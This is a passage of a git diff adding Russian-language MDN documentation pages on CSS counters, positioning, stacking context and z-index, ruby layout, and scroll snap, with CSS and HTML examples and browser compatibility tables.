+  counter-reset: section;           /*Создает новый счетчик для каждого
+                                      тега &lt;ol&gt;*/
+  list-style-type: none;
+}
+
+li::before {
+  counter-increment: section;      /*Инкрементировуется только счетчик
+                                     текущего уровня вложенности*/
+  content: counters(section,".") " ";/*Добавляем значения всех уровней
+                                    вложенности, используя разделитель '.'*/
+                                   /*Если необходима поддержка &lt; IE8,
+                                      необходимо убедиться, что после
+                                      разделителя ('.') не стоит пробел*/
+}
+</pre>
+
+<p>Обьединим с данным HTML:</p>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 1     --&gt;
+  &lt;li&gt;item               &lt;!-- 2     --&gt;
+    &lt;ol&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.1   --&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.2   --&gt;
+      &lt;li&gt;item           &lt;!-- 2.3   --&gt;
+        &lt;ol&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.1 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.2 --&gt;
+        &lt;/ol&gt;
+        &lt;ol&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.1 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.2 --&gt;
+          &lt;li&gt;item&lt;/li&gt;  &lt;!-- 2.3.3 --&gt;
+        &lt;/ol&gt;
+      &lt;/li&gt;
+      &lt;li&gt;item&lt;/li&gt;      &lt;!-- 2.4   --&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 3     --&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 4     --&gt;
+&lt;/ol&gt;
+&lt;ol&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 1     --&gt;
+  &lt;li&gt;item&lt;/li&gt;          &lt;!-- 2     --&gt;
+&lt;/ol&gt;</pre>
+
+<p>Результат:</p>
+
+<p>{{EmbedLiveSample("Вложенные_счетчики", 250, 350)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS3 Lists")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+</ul>
diff --git a/files/ru/web/css/css_positioning/index.html b/files/ru/web/css/css_positioning/index.html
new file mode 100644
index 0000000000..43570e40cd
--- /dev/null
+++ b/files/ru/web/css/css_positioning/index.html
@@ -0,0 +1,115 @@
+---
+title: CSS Positioning
+slug: Web/CSS/CSS_Positioning
+tags:
+  - CSS
+  - CSS Positioning
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Positioning
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>CSS Positioning</strong> is a module of CSS that defines how to absolutely and relavitely position elements on the page.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("clear")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("left")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li>{{cssxref("top")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("z-index")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index">Understanding CSS z-index</a></dt>
+ <dd>Presents the notion of stacking context and explain how z-ordering works, with several examples.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Positioning') }}</td>
+   <td>{{ Spec2('CSS3 Positioning') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visuren.html') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>5.0</td>
+   <td>6.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
new file mode 100644
index 0000000000..8a76b44318
--- /dev/null
+++ b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
@@ -0,0 +1,283 @@
+---
+title: Контекст наложения (stacking context)
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+---
+<p>Контекст наложения (stacking context) это концепция трехмерного расположения HTML элементов вдоль оси Z по отношению к пользователю, находящемуся перед экраном.  HTML элементы занимают это место по порядку, основанному на атрибутах элемента.</p>
+
+<p>« <a href="/en-US/docs/CSS" title="CSS">CSS</a> « <a href="/en-US/docs/CSS/Understanding_z-index" title="Understanding CSS z-index">Understanding CSS z-index</a></p>
+
+<h2 id="Контекст_наложения">Контекст наложения</h2>
+
+<p> </p>
+
+<p>В предыдущем примере  <a href="/en-US/docs/CSS/Understanding_z-index/Adding_z-index" title="Adding z-index">Добавляем z-index</a>, порядок отображения определенных DIVs элементов зависел от их z-index значения. Это возникает благодаря тому, что у этих элементов есть специальные свойства, которые заставляют их формировать контекст наполнения ( <em>stacking context )</em>.</p>
+
+<p>Контекст может формироваться в любом месте документа, любым элементом, у которого выполняется одно из следующих условий: </p>
+
+<ul>
+ <li>является корневым элементом (HTML),</li>
+ <li>позиционирован абсолютно (position:absolute) или относительно (position:relative) с z-index значением отличным от "auto",</li>
+ <li>flex элемент с z-index отличным от  "auto", чей родительский элемент имеет свойство display: flex|inline-flex,</li>
+ <li>элементы с  {{cssxref("opacity")}} меньше чем 1. (См. <a href="http://www.w3.org/TR/css3-color/#transparency" title="http://www.w3.org/TR/css3-color/#transparency">the specification for opacity</a>),</li>
+ <li>элементы с  {{cssxref("transform")}} отличным от "none",</li>
+ <li>элементы с {{cssxref("mix-blend-mode")}} значением отличным от "normal",</li>
+ <li>элементы с {{cssxref("filter")}} значением отличным от "none",</li>
+ <li>элементы с {{cssxref("isolation")}} установленным в  "isolate",</li>
+ <li><code>position: fixed</code></li>
+ <li>если мы указываем элементу атрибут  <code>{{cssxref("will-change")}}</code> при этом не обязательно присваивать ему значения (См. <a href="http://dev.opera.com/articles/css-will-change-property/">this post</a>)</li>
+ <li>элементы с {{cssxref("-webkit-overflow-scrolling")}} установленым в "touch"</li>
+</ul>
+
+<p>Внутри контекста наложения дочерние элементы расположены в соответствии с правилами, описанными ранее. Важно заметить, что значения свойства z-index для дочерних элементов формирующих контекст наложения, будут учитываться только в рамках родительского элемента. Контекст наложения обрабатываются атомарно, как единое целое в контексте наложения родителя.</p>
+
+<p>Суммируем:</p>
+
+<ul>
+ <li>Позиционирование и присваивание HTML элементам свойства z-index создает контекст наложения, (так же как и присваивание элементу opacity меньше 1).</li>
+ <li>Контексты наложения могут быть частью других контекстов наложения и вместе создавать иерархию контекстов наложения. </li>
+ <li>Каждый контекст наложения абсолютно независим от своего соседа: только подчиненные элементы учитываются при обработке контекста наложения.</li>
+</ul>
+
+<div class="note"><strong>Note:</strong> Иерархия контекстов наложения является подмножеством иерархии HTML элементов, потому что только определенные элементы создают контексты наложения. Можно сказать, что элементы, которые не создают собственного контекста наложения, используют контекст наложения родителя.</div>
+
+<h2 id="Пример"><strong>Пример</strong></h2>
+
+<p><img alt="Example of stacking rules modified using z-index" src="/@api/deki/files/913/=Understanding_zindex_04.png"></p>
+
+<p>В примере каждый позиционированный элемент создает свой контекст наложения, так как имеет свойства position и z-index. Иерархия контекстов наложения выглядит следующим образом:</p>
+
+<ul>
+ <li>Root
+  <ul>
+   <li>DIV #1</li>
+   <li>DIV #2</li>
+   <li>DIV #3
+    <ul>
+     <li>DIV #4</li>
+     <li>DIV #5</li>
+     <li>DIV #6</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Важно отметить, что DIV #4, DIV #5 и DIV #6 являются дочерними для DIV #3, поэтому они полностью располагаются в DIV#3. Once stacking and rendering within DIV #3 is completed, the whole DIV #3 element is passed for stacking in the root element with respect to its sibling's DIV.</p>
+
+<div class="note">
+<p><strong>Notes:</strong></p>
+
+<ul>
+ <li>DIV #4 отрисовывается под DIV #1, потому что z-index (5) DIV #1 действителен внутри контекта наложения корневого элемента, в то время как z-index (6) DIV #4 действителен внутри контекста наложения DIV #3. Поэтому,  DIV #4 находиться ниже DIV #1, потому что DIV #4 принадлежит DIV #3, который в свою очередь имеет меньший z-index(по сравнению с .DIV #1).</li>
+ <li>По этим же причинам DIV #2 (z-index 2) отрисовывается под DIV#5 (z-index 1), так как DIV #5 принадлежит DIV #3, чей z-index больше( чем z-index DIV #2).</li>
+ <li>У DIV #3 есть свойство z-index 4, но это значение независимо от z-index'ов DIV #4, DIV #5 и DIV #6, потому что принадлежат они разным контекстам наложения.</li>
+ <li>An easy way to figure out the <em>rendering order</em> of stacked elements along the Z axis is to think of it as a "version number" of sorts, where child elements are minor version numbers underneath their parent's major version numbers. This way we can easily see how an element with a z-index of 1 (DIV #5) is stacked above an element with a z-index of 2 (DIV #2), and how an element with a z-index of 6 (DIV #4) is stacked below an element with a z-index of 5 (DIV #1). In our example (sorted according to the final rendering order):
+  <ul>
+   <li>Root
+    <ul>
+     <li>DIV #2 - z-index is 2</li>
+     <li>DIV #3 - z-index is 4
+      <ul>
+       <li>DIV #5 - z-index is 1, stacked under an element with a z-index of 4, which results in a rendering order of 4.1</li>
+       <li>DIV #6 - z-index is 3, stacked under an element with a z-index of 4, which results in a rendering order of 4.3</li>
+       <li>DIV #4 - z-index is 6, stacked under an element with a z-index of 4, which results in a rendering order of 4.6</li>
+      </ul>
+     </li>
+     <li>DIV #1 - z-index is 5</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+</div>
+
+<h2 id="Example_Source_Code"><strong>Example Source Code</strong></h2>
+
+<pre class="brush: html">&lt;?xml version="1.0" encoding="utf-8"?&gt;
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+
+&lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"&gt;
+  &lt;head&gt;
+
+    &lt;title&gt;Understanding CSS z-index: The Stacking Context: Example Source&lt;/title&gt;
+
+    &lt;style type="text/css"&gt;
+      * {
+        margin: 0;
+        }
+      html {
+        padding: 20px;
+        font: 12px/20px Arial, sans-serif;
+        }
+      div {
+        opacity: 0.7;
+        position: relative;
+        }
+      h1 {
+        font: inherit;
+        font-weight: bold;
+        }
+      #div1, #div2 {
+        border: 1px dashed #696;
+        padding: 10px;
+        background-color: #cfc;
+        }
+      #div1 {
+        z-index: 5;
+        margin-bottom: 190px;
+        }
+      #div2 {
+        z-index: 2;
+        }
+      #div3 {
+        z-index: 4;
+        opacity: 1;
+        position: absolute;
+        top: 40px;
+        left: 180px;
+        width: 330px;
+        border: 1px dashed #900;
+        background-color: #fdd;
+        padding: 40px 20px 20px;
+        }
+      #div4, #div5 {
+        border: 1px dashed #996;
+        background-color: #ffc;
+        }
+      #div4 {
+        z-index: 6;
+        margin-bottom: 15px;
+        padding: 25px 10px 5px;
+        }
+      #div5 {
+        z-index: 1;
+        margin-top: 15px;
+        padding: 5px 10px;
+        }
+      #div6 {
+        z-index: 3;
+        position: absolute;
+        top: 20px;
+        left: 180px;
+        width: 150px;
+        height: 125px;
+        border: 1px dashed #009;
+        padding-top: 125px;
+        background-color: #ddf;
+        text-align: center;
+        }
+    &lt;/style&gt;
+
+  &lt;/head&gt;
+  &lt;body&gt;
+
+    &lt;div id="div1"&gt;
+      &lt;h1&gt;Division Element #1&lt;/h1&gt;
+      &lt;code&gt;position: relative;&lt;br/&gt;
+      z-index: 5;&lt;/code&gt;
+    &lt;/div&gt;
+
+    &lt;div id="div2"&gt;
+      &lt;h1&gt;Division Element #2&lt;/h1&gt;
+      &lt;code&gt;position: relative;&lt;br/&gt;
+      z-index: 2;&lt;/code&gt;
+    &lt;/div&gt;
+
+    &lt;div id="div3"&gt;
+
+      &lt;div id="div4"&gt;
+        &lt;h1&gt;Division Element #4&lt;/h1&gt;
+        &lt;code&gt;position: relative;&lt;br/&gt;
+        z-index: 6;&lt;/code&gt;
+      &lt;/div&gt;
+
+      &lt;h1&gt;Division Element #3&lt;/h1&gt;
+      &lt;code&gt;position: absolute;&lt;br/&gt;
+      z-index: 4;&lt;/code&gt;
+
+      &lt;div id="div5"&gt;
+        &lt;h1&gt;Division Element #5&lt;/h1&gt;
+        &lt;code&gt;position: relative;&lt;br/&gt;
+        z-index: 1;&lt;/code&gt;
+      &lt;/div&gt;
+
+      &lt;div id="div6"&gt;
+        &lt;h1&gt;Division Element #6&lt;/h1&gt;
+        &lt;code&gt;position: absolute;&lt;br/&gt;
+        z-index: 3;&lt;/code&gt;
+      &lt;/div&gt;
+
+    &lt;/div&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Division_Element_.231" name="Division_Element_.231">Division Element #1</h3>
+
+<pre class="brush:css">position: relative;
+z-index: 5;
+</pre>
+
+<div id="div2">
+<h3 id="Division_Element_.232" name="Division_Element_.232">Division Element #2</h3>
+
+<pre class="brush:css">position: relative;
+z-index: 2;
+</pre>
+</div>
+
+<div id="div3">
+<h3 id="Division_Element_.233" name="Division_Element_.233">Division Element #3</h3>
+
+<pre class="brush:css">position: absolute;
+z-index: 4;
+</pre>
+</div>
+
+<div id="div4">
+<h3 id="Division_Element_.234" name="Division_Element_.234">Division Element #4</h3>
+
+<pre class="brush:css">position: relative;
+z-index: 6;
+</pre>
+</div>
+
+<div id="div5">
+<h3 id="Division_Element_.235" name="Division_Element_.235">Division Element #5</h3>
+
+<pre class="brush:css">position: relative;
+z-index: 1;
+</pre>
+</div>
+
+<div id="div6">
+<h3 id="Division_Element_.236" name="Division_Element_.236">Division Element #6</h3>
+
+<pre class="brush:css">position: absolute;
+z-index: 3;
+</pre>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index/Stacking_without_z-index" title="CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index/Stacking_and_float" title="CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index/Adding_z-index" title="CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index/Stacking_context_example_1" title="CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index/Stacking_context_example_2" title="CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index/Stacking_context_example_3" title="CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the english translation of an article I wrote in italian for <a href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+</ul>
+</div>
diff --git a/files/ru/web/css/css_ruby/index.html b/files/ru/web/css/css_ruby/index.html
new file mode 100644
index 0000000000..fb4a2f71f7
--- /dev/null
+++ b/files/ru/web/css/css_ruby/index.html
@@ -0,0 +1,92 @@
+---
+title: CSS Ruby Layout
+slug: Web/CSS/CSS_Ruby
+translation_of: Web/CSS/CSS_Ruby
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS Ruby Layout - это модуль <a href="/en-US/docs/Web/CSS">CSS</a>, который предоставляет модель рендеринга и элементы управления форматированием, связанные с отображением аннотации ruby. Рубиновая аннотация - это форма межлинейной аннотации, состоящая из коротких строк текста наряду с базовым текстом. Они обычно используются в восточноазиатских документах для обозначения произношения или для краткой аннотации.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_properties">CSS properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("ruby-align")}}</li>
+ <li>{{cssxref("ruby-position")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<p><em>None.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Ruby')}}</td>
+   <td>{{Spec2('CSS3 Ruby')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/css_scroll_snap/basic_concepts/index.html b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html
new file mode 100644
index 0000000000..1132200f6e
--- /dev/null
+++ b/files/ru/web/css/css_scroll_snap/basic_concepts/index.html
@@ -0,0 +1,66 @@
+---
+title: Базовые концепции CSS Scroll Snap
+slug: Web/CSS/CSS_Scroll_Snap/Basic_concepts
+translation_of: Web/CSS/CSS_Scroll_Snap/Basic_concepts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Спецификация <a href="https://drafts.csswg.org/css-scroll-snap-1/">CSS Scroll Snap</a> даёт нам возможность реализовывать прокрутку документа с привязкой к определённым точкам. Это может быть полезно в создании интерфейса, по своей работе больше похожего на мобильное приложение.</p>
+
+<h2 id="Основы_Scroll_Snap">Основы Scroll Snap</h2>
+
+<p>Ключевыми свойствами спецификации Scroll Snap являются {{CSSxRef("scroll-snap-type")}} и {{CSSxRef("scroll-snap-align")}}. Свойство <code>scroll-snap-type</code> применяется к <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Scroll_container">скролл-контейнеру</a> для определения типа и направления прокрутки.</p>
+
+<p>Свойство <code>scroll-snap-align</code> нужно применять к дочерним элементам, чтобы указать позицию, к которой будет привязана прокрутка. Пример ниже демонстрирует прокрутку с привязкой вдоль оси <code>y</code>, а свойство <code>scroll-snap-align</code> применяется для элемента "section", чтобы задать точку, на которой прокрутка должна остановиться.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-y.html", '100%', 700)}}</p>
+
+<h2 id="Свойство_scroll-snap-type">Свойство scroll-snap-type</h2>
+
+<p>Свойство {{CSSxRef("scroll-snap-type")}} необходимо, чтобы задавать направление, в котором будет происходить привязка прокрутки. Значением свойства может быть <code>x</code>, <code>y</code>, или соответствующие логические <code>block</code> или <code>inline</code>. Также можно использовать ключевое слово <code>both</code>, чтобы привязка работала в обоих направлениях.</p>
+
+<p>Также можно передавать ключевые слова <code>mandatory</code>, или <code>proximity</code>. Ключевое слово <code>mandatory</code> определяет обязательное смещение прокрутки браузера к ближайшей точке привязки. Ключевое слово <code>proximity</code> означает, что привязка может прозойти , но не обязательно.</p>
+
+<p>Использование <code>mandatory</code> делает взаимодействие с интерфейсом однородным и предсказуемым — вы знаете, что браузер всегда будет смещать область видимости к каждой заданной точке привязки. Это даёт уверенность в том, что в после прокрутки экрана, в его верхней части окажется именно то, что вы и ожидаете там увидеть.Однако, это может привести и к проблемам, если содержимое слишком большое повысоте — пользователи могут оказаться в очень неприятной ситуации, не имея возможности переместиться к пределённому месту на странице странице. Следовательно, применение <code>mandatory</code> должно быть тщательно продуманным и использовано только в тех ситуациях, когда вы точно знаете, какое количество содержимого будет на экране в каждый момент времени.</p>
+
+<p>При значении <code>proximity</code> привязка будет осуществляться только в тех ситуациях, когда область видимости находится достаточно близко к точке привязки. Определение точного расстояния, на котором это будет происходить, остаётся за браузером. В примере ниже вы можете изменить значение с <code>mandatory</code> на <code>proximity</code>, чтобы увидеть, как это влияет на работу прокрутки.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-proximity.html", '100%', 700)}}</p>
+
+<h2 id="Свойство_scroll-snap-align">Свойство scroll-snap-align</h2>
+
+<p>Свойство {{CSSxRef("scroll-snap-align")}} может принимать значения <code>start</code>, <code>end</code>, или <code>center</code>, обозначающие, какую сторону контейнера прижимать к дочернему элементу. В примере ниже вы можете изменить значение <code>scroll-snap-align</code>, чтобы увидеть, как это повлияет на работу прокрутки.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/align.html", '100%', 700)}}</p>
+
+<h2 id="Внутренний_отступ_контейнера">Внутренний отступ контейнера</h2>
+
+<p>Если вы не хотите, чтобы содержимое вплотную прилегало к краю прокручиваемого контейнера, можете воспользоваться сокращённым свойством {{CSSxRef("scroll-padding")}} или альтернативными ему более конкретными свойствами <code>scroll-padding-*</code>, чтобы задать для прокрутки внутренние отступы с каждой стороны контейнера.</p>
+
+<p>В примере ниже для свойства <code>scroll-padding</code> установлено значение 40 пикселей. Когда происходит смещение к началу второй и третьей секции, прокрутка останавливается в 40 пикселях от начала элемента. Попробуйте изменить значение свойства <code>scroll-padding</code>, чтобы увидеть изменение размера отступа.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding.html", '100%', 700)}}</p>
+
+<p>Это может быть полезно в ситуации, когда у вас есть фиксированно позиционированный элемент. Например, панель навигации, которая может перекрывать содержимое. С помощью <code>scroll-padding</code> вы можете оставить место для панели, как это сделано в примере ниже, где <code>&lt;h1&gt;</code> остаётся на экране, а содержимое при прокрутке оказывается под панелью. Без отступов шапка перекроет некоторую часть содержимого, когда произойдёт смещение к привязанной точке.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding-sticky.html", '100%', 700)}}</p>
+
+<h2 id="Внешние_отступы_дочерних_элементов">Внешние отступы дочерних элементов</h2>
+
+<p>Свойство {{CSSxRef("scroll-margin")}} может быть задано для дочерних элементов и определяет, по сути, внешний оступ данного элемента до позиции прокрутки. Это позволяет дочерним элементам занимать разное количество места, и может использоваться в сочетании со свойством <code>scroll-padding</code> для родителя. Опробуйте его в примере ниже</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-margin.html", '100%', 700)}}</p>
+
+<h2 id="Свойство_scroll-snap-stop">Свойство scroll-snap-stop</h2>
+
+<p>Свойство {{CSSxRef("scroll-snap-stop")}} сообщает браузеру, обязательно ли ему останавливаться на каждой точке привязки дочерних элементов (это значит, что в примере выше мы бы останавливались в начале каждой секции) или допускается возможность пропускать их. Это свойство реализовано в меньшем количестве браузеров, чем другие свойства из данной спецификации.</p>
+
+<p>Данное свойство может быть полезно в ситуации, когда нужно, чтобы пользователь гарантированно увидел каждую прокручиваемую секцию, случайно не пролистав какую-то из них. С другой сторона, такое поведение прокрутки может только мешать и замедлять пользователя, который ищет конкретную секцию.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание</strong>: на данный момент свойство <code>scroll-snap-stop</code> помечено рискованным для использования в данной версии спецификации, следовательно может быть вообще удалено.</p>
+</div>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>На страницах каждого свойства Scroll Snap содержатся подробности поддержки браузерами. Обратите внимание, что до версии 68, в браузере Firefox была реализована поддержка старой версии спецификации. <a href="/en-US/docs/Web/CSS/CSS_Scroll_Snap/compat">Читайте следующее руководство</a>, чтобы узнать, как писать код, который будет поддерживаться всеми браузерами.</p>
diff --git a/files/ru/web/css/css_scroll_snap/index.html b/files/ru/web/css/css_scroll_snap/index.html
new file mode 100644
index 0000000000..1d9daef4a3
--- /dev/null
+++ b/files/ru/web/css/css_scroll_snap/index.html
@@ -0,0 +1,86 @@
+---
+title: CSS Scroll Snap
+slug: Web/CSS/CSS_Scroll_Snap
+tags:
+  - CSS
+  - CSS Scroll Snap
+  - NeedsTranslation
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/CSS_Scroll_Snap
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong>CSS Scroll Snap</strong> is a module of CSS that introduces scroll snap positions, which enforce the scroll positions that a {{Glossary("scroll container")}}’s {{Glossary("scrollport")}} may end at after a scrolling operation has completed.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The previous version of this module was called Scroll Snap Points and has been deprecated. CSS Scroll Snap is the current implementation.</p>
+</div>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties_on_Containers">CSS Properties on Containers</h3>
+
+<ul>
+ <li>{{cssxref("scroll-snap-type")}}</li>
+ <li>{{cssxref("scroll-snap-stop")}}</li>
+ <li>{{cssxref("scroll-padding")}}</li>
+ <li>{{cssxref("scroll-padding-top")}}</li>
+ <li>{{cssxref("scroll-padding-right")}}</li>
+ <li>{{cssxref("scroll-padding-bottom")}}</li>
+ <li>{{cssxref("scroll-padding-left")}}</li>
+ <li>{{cssxref("scroll-padding-inline")}}</li>
+ <li>{{cssxref("scroll-padding-inline-start")}}</li>
+ <li>{{cssxref("scroll-padding-inline-end")}}</li>
+ <li>{{cssxref("scroll-padding-block")}}</li>
+ <li>{{cssxref("scroll-padding-block-start")}}</li>
+ <li>{{cssxref("scroll-padding-block-end")}}</li>
+</ul>
+
+<h3 id="CSS_Properties_on_Children">CSS Properties on Children</h3>
+
+<ul>
+ <li>{{cssxref("scroll-snap-align")}}</li>
+ <li>{{cssxref("scroll-margin")}}</li>
+ <li>{{cssxref("scroll-margin-top")}}</li>
+ <li>{{cssxref("scroll-margin-right")}}</li>
+ <li>{{cssxref("scroll-margin-bottom")}}</li>
+ <li>{{cssxref("scroll-margin-left")}}</li>
+ <li>{{cssxref("scroll-margin-inline")}}</li>
+ <li>{{cssxref("scroll-margin-inline-start")}}</li>
+ <li>{{cssxref("scroll-margin-inline-end")}}</li>
+ <li>{{cssxref("scroll-margin-block")}}</li>
+ <li>{{cssxref("scroll-margin-block-start")}}</li>
